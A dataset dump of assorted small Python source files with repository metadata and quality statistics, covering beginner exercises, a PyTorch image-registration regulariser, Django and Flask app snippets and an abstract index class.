| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
f3ff32b49ebedaaf0193080ffc9d50c00deddf1e
| 325
|
py
|
Python
|
pythonCore/ch02/E15.py
|
Furzoom/learnpython
|
a3034584e481d4e7c55912d9da06439688aa67ea
|
[
"MIT"
] | null | null | null |
pythonCore/ch02/E15.py
|
Furzoom/learnpython
|
a3034584e481d4e7c55912d9da06439688aa67ea
|
[
"MIT"
] | null | null | null |
pythonCore/ch02/E15.py
|
Furzoom/learnpython
|
a3034584e481d4e7c55912d9da06439688aa67ea
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
n1 = int(raw_input('No.1: '))
n2 = int(raw_input('No.2: '))
n3 = int(raw_input('No.3: '))
if n1 < n2:
if n1 < n3:
pass
else:
n1, n3 = n3, n1
elif n2 < n3:
n2, n1 = n1, n2
else:
n1, n3 = n3, n1
if n2 > n3:
n2, n3 = n3, n2
print n1, n2, n3
| 14.130435
| 29
| 0.483077
| 60
| 325
| 2.566667
| 0.366667
| 0.103896
| 0.214286
| 0.253247
| 0.155844
| 0
| 0
| 0
| 0
| 0
| 0
| 0.153153
| 0.316923
| 325
| 22
| 30
| 14.772727
| 0.540541
| 0.129231
| 0
| 0.266667
| 0
| 0
| 0.064516
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.066667
| 0
| null | null | 0.066667
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
6d09ba5af9d04ebbd43deb0ad5e91b0cc56e21e7
| 2,991
|
py
|
Python
|
torchir/regularization.py
|
BDdeVos/TorchIR
|
80ea1045c1029182cada3cfa23a0693dd206cbcc
|
[
"MIT"
] | 9
|
2021-11-02T18:43:54.000Z
|
2022-02-19T15:27:55.000Z
|
torchir/regularization.py
|
BDdeVos/TorchIR
|
80ea1045c1029182cada3cfa23a0693dd206cbcc
|
[
"MIT"
] | null | null | null |
torchir/regularization.py
|
BDdeVos/TorchIR
|
80ea1045c1029182cada3cfa23a0693dd206cbcc
|
[
"MIT"
] | 4
|
2022-02-07T11:44:15.000Z
|
2022-03-23T14:13:02.000Z
|
import torch
from torch import Tensor
from torchir.utils import identity_grid
def bending_energy_3d(
coord_grid: Tensor, vector_dim: int = -1, dvf_input: bool = False
) -> Tensor:
"""Calculates bending energy penalty for a 3D coordinate grid.
For further details regarding this regularization please read the work by `Rueckert 1999`_.
Args:
coord_grid: 3D coordinate grid, i.e. a 5D Tensor with standard dimensions
(n_samples, 3, z, y, x).
vector_dim: Specifies the location of the vector dimension. Default: -1
dvf_input: If ``True``, coord_grid is assumed a displacement vector field and
an identity_grid will be added. Default: ``False``
Returns:
Bending energy per instance in the batch.
.. _Rueckert 1999: https://ieeexplore.ieee.org/document/796284
"""
assert coord_grid.ndim == 5, "Input tensor should be 5D, i.e. 3D images."
if vector_dim != 1:
coord_grid = coord_grid.movedim(vector_dim, -1)
if dvf_input:
coord_grid = coord_grid + identity_grid(coord_grid.shape[2:], stackdim=0)
d_z = torch.diff(coord_grid, dim=1)
d_y = torch.diff(coord_grid, dim=2)
d_x = torch.diff(coord_grid, dim=3)
d_zz = torch.diff(d_z, dim=1)[:, :, :-2, :-2]
d_zy = torch.diff(d_z, dim=2)[:, :-1, :-1, :-2]
d_zx = torch.diff(d_z, dim=3)[:, :-1, :-2, :-1]
d_yy = torch.diff(d_y, dim=2)[:, :-2, :, :-2]
d_yx = torch.diff(d_y, dim=3)[:, :-2, :-1, :-1]
d_xx = torch.diff(d_x, dim=3)[:, :-2, :-2, :]
return torch.mean(
d_zz ** 2 + d_yy ** 2 + d_xx ** 2 + 2 * (d_zy ** 2 + d_zx ** 2 + d_yx ** 2),
axis=(1, 2, 3, 4),
)
def bending_energy_2d(
coord_grid: Tensor, vector_dim: int = -1, dvf_input: bool = False
) -> Tensor:
"""Calculates bending energy penalty for a 2D coordinate grid.
For further details regarding this regularization please read the work by `Rueckert 1999`_.
Args:
coord_grid: 2D coordinate grid, i.e. a 4D Tensor with standard dimensions
(n_samples, 2, y, x).
vector_dim: Specifies the location of the vector dimension. Default: -1
dvf_input: If ``True``, coord_grid is assumed a displacement vector field and
an identity_grid will be added. Default: ``False``
Returns:
Bending energy per instance in the batch.
.. _Rueckert 1999: https://ieeexplore.ieee.org/document/796284
"""
assert coord_grid.ndim == 4, "Input tensor should be 4D, i.e. 2D images."
if vector_dim != 1:
coord_grid = coord_grid.movedim(vector_dim, -1)
if dvf_input:
coord_grid = coord_grid + identity_grid(coord_grid.shape[2:], stackdim=0)
d_y = torch.diff(coord_grid, dim=1)
d_x = torch.diff(coord_grid, dim=2)
d_yy = torch.diff(d_y, dim=1)[:, :, :-2]
d_yx = torch.diff(d_y, dim=2)[:, :-1, :-1]
d_xx = torch.diff(d_x, dim=2)[:, :-2, :]
return torch.mean(d_yy ** 2 + d_xx ** 2 + 2 * d_yx ** 2, axis=(1, 2, 3))
| 33.988636
| 95
| 0.627549
| 480
| 2,991
| 3.735417
| 0.2125
| 0.115449
| 0.050195
| 0.050195
| 0.885666
| 0.843279
| 0.783045
| 0.699387
| 0.655884
| 0.655884
| 0
| 0.046725
| 0.23437
| 2,991
| 87
| 96
| 34.37931
| 0.736245
| 0.399866
| 0
| 0.315789
| 0
| 0
| 0.049645
| 0
| 0
| 0
| 0
| 0
| 0.052632
| 1
| 0.052632
| false
| 0
| 0.078947
| 0
| 0.184211
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
6d17183d8bed6293683ac4f055ca897b0e1147e7
| 671
|
py
|
Python
|
epi_judge_python/search_frequent_items.py
|
shobhitmishra/CodingProblems
|
0fc8c5037eef95b3ec9826b3a6e48885fc86659e
|
[
"MIT"
] | null | null | null |
epi_judge_python/search_frequent_items.py
|
shobhitmishra/CodingProblems
|
0fc8c5037eef95b3ec9826b3a6e48885fc86659e
|
[
"MIT"
] | null | null | null |
epi_judge_python/search_frequent_items.py
|
shobhitmishra/CodingProblems
|
0fc8c5037eef95b3ec9826b3a6e48885fc86659e
|
[
"MIT"
] | null | null | null |
from typing import Iterator, List
from test_framework import generic_test, test_utils
# Finds the candidates which may occur > n / k times.
def search_frequent_items(k: int, stream: Iterator[str]) -> List[str]:
# TODO - you fill in here.
return []
def search_frequent_items_wrapper(k, stream):
return search_frequent_items(k, iter(stream))
if __name__ == '__main__':
exit(
generic_test.generic_test_main('search_frequent_items.py',
'search_frequent_items.tsv',
search_frequent_items_wrapper,
test_utils.unordered_compare))
| 30.5
| 70
| 0.622951
| 78
| 671
| 4.974359
| 0.525641
| 0.216495
| 0.293814
| 0.113402
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.299553
| 671
| 21
| 71
| 31.952381
| 0.825532
| 0.113264
| 0
| 0
| 0
| 0
| 0.096284
| 0.08277
| 0
| 0
| 0
| 0.047619
| 0
| 1
| 0.166667
| false
| 0
| 0.166667
| 0.166667
| 0.5
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 4
|
6d3aa0cd4f29c73a8f412b1b4bccd8c3d5e42199
| 137
|
py
|
Python
|
exercicios_programas/ex7_contadores/exercicio5.7.py
|
robinson-1985/livro_python
|
2b94d32c81121b631a70f8c9fc443d697947ee63
|
[
"MIT"
] | null | null | null |
exercicios_programas/ex7_contadores/exercicio5.7.py
|
robinson-1985/livro_python
|
2b94d32c81121b631a70f8c9fc443d697947ee63
|
[
"MIT"
] | null | null | null |
exercicios_programas/ex7_contadores/exercicio5.7.py
|
robinson-1985/livro_python
|
2b94d32c81121b631a70f8c9fc443d697947ee63
|
[
"MIT"
] | null | null | null |
''' 5.7 Modifique o programa anterior de forma que o usuário também digite o
início e o fim da tabuada, em vez de começar com 1 e 10. '''
| 68.5
| 77
| 0.715328
| 28
| 137
| 3.571429
| 0.821429
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.046729
| 0.218978
| 137
| 2
| 78
| 68.5
| 0.869159
| 0.941606
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
6d5ab184699e19b380a45de5f06afeb0be880d7d
| 118
|
py
|
Python
|
socialforcemodel/math.py
|
bazylip/socialforcemodel
|
5599d1736cdaf7e7c3e203671208a7baeec85732
|
[
"MIT"
] | 2
|
2019-09-01T19:39:36.000Z
|
2019-11-09T15:42:16.000Z
|
socialforcemodel/math.py
|
bazylip/socialforcemodel
|
5599d1736cdaf7e7c3e203671208a7baeec85732
|
[
"MIT"
] | null | null | null |
socialforcemodel/math.py
|
bazylip/socialforcemodel
|
5599d1736cdaf7e7c3e203671208a7baeec85732
|
[
"MIT"
] | null | null | null |
def length_squared(vector):
""" Return the length squared of a vector. """
return vector[0]**2 + vector[1]**2
| 29.5
| 50
| 0.644068
| 18
| 118
| 4.166667
| 0.611111
| 0.346667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.042105
| 0.194915
| 118
| 3
| 51
| 39.333333
| 0.747368
| 0.322034
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
6d5ac6aae16a11bcdf206a3e94acd406b3c5572f
| 1,263
|
py
|
Python
|
hospital/admin.py
|
kurbster/HospitalManagement
|
c00f7d55687b05bea50cdddc8f6ef037176374dd
|
[
"MIT"
] | 1
|
2022-03-21T15:39:32.000Z
|
2022-03-21T15:39:32.000Z
|
hospital/admin.py
|
kurbster/HospitalManagement
|
c00f7d55687b05bea50cdddc8f6ef037176374dd
|
[
"MIT"
] | null | null | null |
hospital/admin.py
|
kurbster/HospitalManagement
|
c00f7d55687b05bea50cdddc8f6ef037176374dd
|
[
"MIT"
] | 4
|
2022-03-16T05:19:00.000Z
|
2022-03-29T19:32:26.000Z
|
from django.contrib import admin
from .models import *
# Register your models here.
class DoctorAdmin(admin.ModelAdmin):
pass
admin.site.register(Doctor, DoctorAdmin)
class HospitalStaffAdmin(admin.ModelAdmin):
pass
admin.site.register(HospitalStaff, HospitalStaffAdmin)
#insurance created by prem
class InsuranceAdmin(admin.ModelAdmin):
pass
admin.site.register(Insurance, InsuranceAdmin)
class PatientAdmin(admin.ModelAdmin):
pass
admin.site.register(Patient, PatientAdmin)
class AppointmentAdmin(admin.ModelAdmin):
pass
admin.site.register(Appointment, AppointmentAdmin)
class PatientDischargeDetailsAdmin(admin.ModelAdmin):
pass
admin.site.register(PatientDischargeDetails, PatientDischargeDetailsAdmin)
class Patient_LabTest_RecordsAdmin(admin.ModelAdmin):
pass
admin.site.register(Patient_LabTest_Records,Patient_LabTest_RecordsAdmin)
class LabTestsAdmin(admin.ModelAdmin):
pass
admin.site.register(LabTests,LabTestsAdmin)
class LabStaffAdmin(admin.ModelAdmin):
pass
admin.site.register(LabStaff,LabStaffAdmin)
class DiagnosisAdmin(admin.ModelAdmin):
pass
admin.site.register(Diagnosis, DiagnosisAdmin)
class PrescriptionAdmin(admin.ModelAdmin):
pass
admin.site.register(Prescription, PrescriptionAdmin)
| 26.87234
| 74
| 0.820269
| 132
| 1,263
| 7.80303
| 0.295455
| 0.160194
| 0.202913
| 0.256311
| 0.398058
| 0.398058
| 0.083495
| 0
| 0
| 0
| 0
| 0
| 0.096595
| 1,263
| 46
| 75
| 27.456522
| 0.902717
| 0.04038
| 0
| 0.314286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.314286
| 0.057143
| 0
| 0.371429
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
6d61d05656b0f6d2a7b73d2212cfe1c5f94956a3
| 238
|
py
|
Python
|
app/index/routes.py
|
lambda-science/IMPatienT
|
e6eac6abfbdb7e944484b3c4b1b8c7af8441f79e
|
[
"MIT"
] | 5
|
2021-11-29T08:40:11.000Z
|
2022-01-04T19:00:03.000Z
|
app/index/routes.py
|
lambda-science/IMPatienT
|
e6eac6abfbdb7e944484b3c4b1b8c7af8441f79e
|
[
"MIT"
] | 18
|
2022-01-06T10:24:40.000Z
|
2022-03-21T11:00:22.000Z
|
app/index/routes.py
|
lambda-science/MYO-xIA-App
|
e6eac6abfbdb7e944484b3c4b1b8c7af8441f79e
|
[
"MIT"
] | null | null | null |
from app.index import bp
from flask import render_template
@bp.route("/")
def index():
"""View function for the Index page
Returns:
str: HTML template for the Index page
"""
return render_template("index.html")
| 18.307692
| 45
| 0.668067
| 33
| 238
| 4.757576
| 0.575758
| 0.178344
| 0.140127
| 0.191083
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.231092
| 238
| 12
| 46
| 19.833333
| 0.857924
| 0.352941
| 0
| 0
| 0
| 0
| 0.081481
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| true
| 0
| 0.4
| 0
| 0.8
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
ed8d49a29d780e9453a79e0f41562a0981cc3e4e
| 355
|
py
|
Python
|
src/masonite/managers/__init__.py
|
Abeautifulsnow/masonite
|
f0ebb5ca05f5d88f21264e1cd0934435bd0a8791
|
[
"MIT"
] | 95
|
2018-02-22T23:54:00.000Z
|
2021-04-17T03:39:21.000Z
|
src/masonite/managers/__init__.py
|
Abeautifulsnow/masonite
|
f0ebb5ca05f5d88f21264e1cd0934435bd0a8791
|
[
"MIT"
] | 840
|
2018-01-27T04:26:20.000Z
|
2021-01-24T12:28:58.000Z
|
src/masonite/managers/__init__.py
|
Abeautifulsnow/masonite
|
f0ebb5ca05f5d88f21264e1cd0934435bd0a8791
|
[
"MIT"
] | 100
|
2018-02-23T00:19:55.000Z
|
2020-08-28T07:59:31.000Z
|
from .Manager import Manager
from .AuthManager import AuthManager
from .BroadcastManager import BroadcastManager
from .CacheManager import CacheManager
from .MailManager import MailManager
from .QueueManager import QueueManager
from .SessionManager import SessionManager
from .StorageManager import StorageManager
from .UploadManager import UploadManager
| 35.5
| 46
| 0.873239
| 36
| 355
| 8.611111
| 0.305556
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.101408
| 355
| 9
| 47
| 39.444444
| 0.971787
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
edc30da0a8567d391b366e62b591455f9a20269a
| 15
|
py
|
Python
|
Emmanuel/Notebooks/Eda.py
|
daye-oa/Data-Science-Projects
|
605fe78f78561725657295a7c0ba1600d8750019
|
[
"MIT"
] | null | null | null |
Emmanuel/Notebooks/Eda.py
|
daye-oa/Data-Science-Projects
|
605fe78f78561725657295a7c0ba1600d8750019
|
[
"MIT"
] | null | null | null |
Emmanuel/Notebooks/Eda.py
|
daye-oa/Data-Science-Projects
|
605fe78f78561725657295a7c0ba1600d8750019
|
[
"MIT"
] | 2
|
2020-09-30T13:40:01.000Z
|
2021-06-21T21:00:19.000Z
|
my first work
| 7.5
| 14
| 0.733333
| 3
| 15
| 3.666667
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.266667
| 15
| 1
| 15
| 15
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
edd58058afddc4ea4797173a155b989cf13a7070
| 19
|
py
|
Python
|
data/studio21_generated/introductory/4746/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
data/studio21_generated/introductory/4746/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
data/studio21_generated/introductory/4746/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
def fisHex(name):
| 9.5
| 17
| 0.684211
| 3
| 19
| 4.333333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.157895
| 19
| 2
| 18
| 9.5
| 0.8125
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
edf50eaa9a4cf1845fd029d81f0139d8d13068bb
| 148
|
py
|
Python
|
MyWatchList/views/ErrorsHandler.py
|
fgl-foundation/MovieDB
|
17bf065336f52f7f6ef423f85b6aa5315b1d685f
|
[
"MIT"
] | null | null | null |
MyWatchList/views/ErrorsHandler.py
|
fgl-foundation/MovieDB
|
17bf065336f52f7f6ef423f85b6aa5315b1d685f
|
[
"MIT"
] | 1
|
2019-11-02T15:06:25.000Z
|
2019-11-05T17:13:37.000Z
|
MyWatchList/views/ErrorsHandler.py
|
fgl-foundation/MovieDB
|
17bf065336f52f7f6ef423f85b6aa5315b1d685f
|
[
"MIT"
] | null | null | null |
from django.shortcuts import render
def error_404(request,*args, **argv):
data = {}
return render(request, 'error_404.html', data)
| 24.666667
| 54
| 0.662162
| 19
| 148
| 5.052632
| 0.736842
| 0.166667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.051282
| 0.209459
| 148
| 6
| 54
| 24.666667
| 0.769231
| 0
| 0
| 0
| 0
| 0
| 0.09396
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
61085a65185cc4889b65505fa694872ba0016b20
| 301
|
py
|
Python
|
ldap_parser.py
|
frnde/ldap_errors_fixer
|
4ec5a98b94baa3fe8a17ce1819e66bf9ee267962
|
[
"MIT"
] | null | null | null |
ldap_parser.py
|
frnde/ldap_errors_fixer
|
4ec5a98b94baa3fe8a17ce1819e66bf9ee267962
|
[
"MIT"
] | null | null | null |
ldap_parser.py
|
frnde/ldap_errors_fixer
|
4ec5a98b94baa3fe8a17ce1819e66bf9ee267962
|
[
"MIT"
] | null | null | null |
from ldif import LDIFParser
class ParseLDIF(LDIFParser):
def __init__(self, input_file, processing_object):
LDIFParser.__init__(self, input_file)
self.processing_object = processing_object
def handle(self,dn, entry):
self.processing_object.process_entry(dn, entry)
| 25.083333
| 55
| 0.734219
| 36
| 301
| 5.722222
| 0.472222
| 0.31068
| 0.126214
| 0.165049
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.186047
| 301
| 11
| 56
| 27.363636
| 0.840816
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.285714
| false
| 0
| 0.142857
| 0
| 0.571429
| 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
612b8e23bea8c1f5a6864eb39305cd69ab9d0d6d
| 596
|
py
|
Python
|
experimentor/models/experiments/exceptions.py
|
aquilesC/experimentor
|
1a70760912ef40f0e2aaee44ed1a1e5594fd5b45
|
[
"MIT"
] | 4
|
2020-05-15T04:07:25.000Z
|
2020-09-30T22:20:46.000Z
|
experimentor/models/experiments/exceptions.py
|
aquilesC/experimentor
|
1a70760912ef40f0e2aaee44ed1a1e5594fd5b45
|
[
"MIT"
] | null | null | null |
experimentor/models/experiments/exceptions.py
|
aquilesC/experimentor
|
1a70760912ef40f0e2aaee44ed1a1e5594fd5b45
|
[
"MIT"
] | null | null | null |
# ##############################################################################
# Copyright (c) 2021 Aquiles Carattino, Dispertech B.V. #
# exceptions.py is part of experimentor #
# This file is released under an MIT license. #
# See LICENSE.MD for more information. #
# ##############################################################################
from experimentor.models.exceptions import ModelException
class ExperimentException(ModelException):
pass
| 54.181818
| 80
| 0.39094
| 38
| 596
| 6.131579
| 0.868421
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009685
| 0.307047
| 596
| 11
| 81
| 54.181818
| 0.554479
| 0.451342
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 4
|
b666f772cff831b8a3d5f0d495ce37c231874a5c
| 2,012
|
py
|
Python
|
src/tanuki/data_store/index/index.py
|
M-J-Murray/tanuki
|
cfd0dec1003651156e8d34eae191898b66765bc7
|
[
"BSD-3-Clause"
] | null | null | null |
src/tanuki/data_store/index/index.py
|
M-J-Murray/tanuki
|
cfd0dec1003651156e8d34eae191898b66765bc7
|
[
"BSD-3-Clause"
] | null | null | null |
src/tanuki/data_store/index/index.py
|
M-J-Murray/tanuki
|
cfd0dec1003651156e8d34eae191898b66765bc7
|
[
"BSD-3-Clause"
] | null | null | null |
from __future__ import annotations
from abc import abstractmethod, abstractproperty
from typing import Any, Generic, TYPE_CHECKING, TypeVar, Union
import numpy as np
if TYPE_CHECKING:
from tanuki.data_store.column_alias import ColumnAlias
from tanuki.data_store.index.pandas_index import PandasIndex
C = TypeVar("C", bound=tuple["ColumnAlias", ...])
class Index(Generic[C]):
@abstractproperty
def name(self: Index[C]) -> Union[str, list[str]]:
raise NotImplementedError()
@abstractproperty
def columns(self: Index[C]) -> list[str]:
raise NotImplementedError()
@abstractmethod
def to_pandas(self) -> PandasIndex[C]:
raise NotImplementedError()
@abstractmethod
def __getitem__(self, item) -> Index[C]:
raise NotImplementedError()
@abstractproperty
def values(self: Index[C]) -> np.ndarray:
raise NotImplementedError()
@abstractmethod
def tolist(self: Index[C]) -> list:
raise NotImplementedError()
@abstractmethod
def equals(self, other: Any) -> bool:
raise NotImplementedError()
@abstractmethod
def __eq__(self, other: Any) -> Index[C]:
raise NotImplementedError()
@abstractmethod
def __ne__(self, other: Any) -> Index[C]:
raise NotImplementedError()
@abstractmethod
def __gt__(self, other: Any) -> Index[C]:
raise NotImplementedError()
@abstractmethod
def __ge__(self, other: Any) -> Index[C]:
raise NotImplementedError()
@abstractmethod
def __lt__(self, other: Any) -> Index[C]:
raise NotImplementedError()
@abstractmethod
def __le__(self, other: Any) -> Index[C]:
raise NotImplementedError()
@abstractmethod
def __len__(self) -> int:
raise NotImplementedError()
@abstractmethod
def __str__(self: Index[C]) -> str:
raise NotImplementedError()
@abstractmethod
def __repr__(self: Index[C]) -> str:
raise NotImplementedError()
| 24.839506
| 64
| 0.664513
| 205
| 2,012
| 6.273171
| 0.278049
| 0.2986
| 0.384137
| 0.414463
| 0.412908
| 0.332815
| 0.275272
| 0.275272
| 0.275272
| 0
| 0
| 0
| 0.228131
| 2,012
| 80
| 65
| 25.15
| 0.828075
| 0
| 0
| 0.561404
| 0
| 0
| 0.005964
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.280702
| false
| 0
| 0.105263
| 0
| 0.403509
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
b66f7d200f6a8e6fffa2f297bae15cabd10a002b
| 179
|
py
|
Python
|
majority_report/views.py
|
jdelasoie/majority-report-vue
|
dddd6c03c265806f1d06b8adf219081e95530c46
|
[
"Unlicense"
] | null | null | null |
majority_report/views.py
|
jdelasoie/majority-report-vue
|
dddd6c03c265806f1d06b8adf219081e95530c46
|
[
"Unlicense"
] | null | null | null |
majority_report/views.py
|
jdelasoie/majority-report-vue
|
dddd6c03c265806f1d06b8adf219081e95530c46
|
[
"Unlicense"
] | null | null | null |
from django.contrib.auth.models import User
from django.shortcuts import render
from rest_framework import viewsets
def index(request):
return render(request, 'index.html')
| 22.375
| 43
| 0.798883
| 25
| 179
| 5.68
| 0.68
| 0.140845
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.128492
| 179
| 7
| 44
| 25.571429
| 0.910256
| 0
| 0
| 0
| 0
| 0
| 0.055866
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.6
| 0.2
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
|
0
| 4
|
b6802229ceceab2f39aff8749322b0b6a8532231
| 65
|
py
|
Python
|
QuickDemos/TabsVSpaces.py
|
dannystiv/CMPT-120L-201-22S
|
f2fc5d71d6c75d8f369b1f7207b23d04af186e8c
|
[
"MIT"
] | 1
|
2022-02-19T17:57:57.000Z
|
2022-02-19T17:57:57.000Z
|
QuickDemos/TabsVSpaces.py
|
dannystiv/CMPT-120L-201-22S
|
f2fc5d71d6c75d8f369b1f7207b23d04af186e8c
|
[
"MIT"
] | null | null | null |
QuickDemos/TabsVSpaces.py
|
dannystiv/CMPT-120L-201-22S
|
f2fc5d71d6c75d8f369b1f7207b23d04af186e8c
|
[
"MIT"
] | 24
|
2022-02-03T01:37:44.000Z
|
2022-02-17T00:00:10.000Z
|
if true:
if False:
if True:
print("Wooo")
| 16.25
| 25
| 0.430769
| 8
| 65
| 3.5
| 0.625
| 0.428571
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.461538
| 65
| 4
| 25
| 16.25
| 0.8
| 0
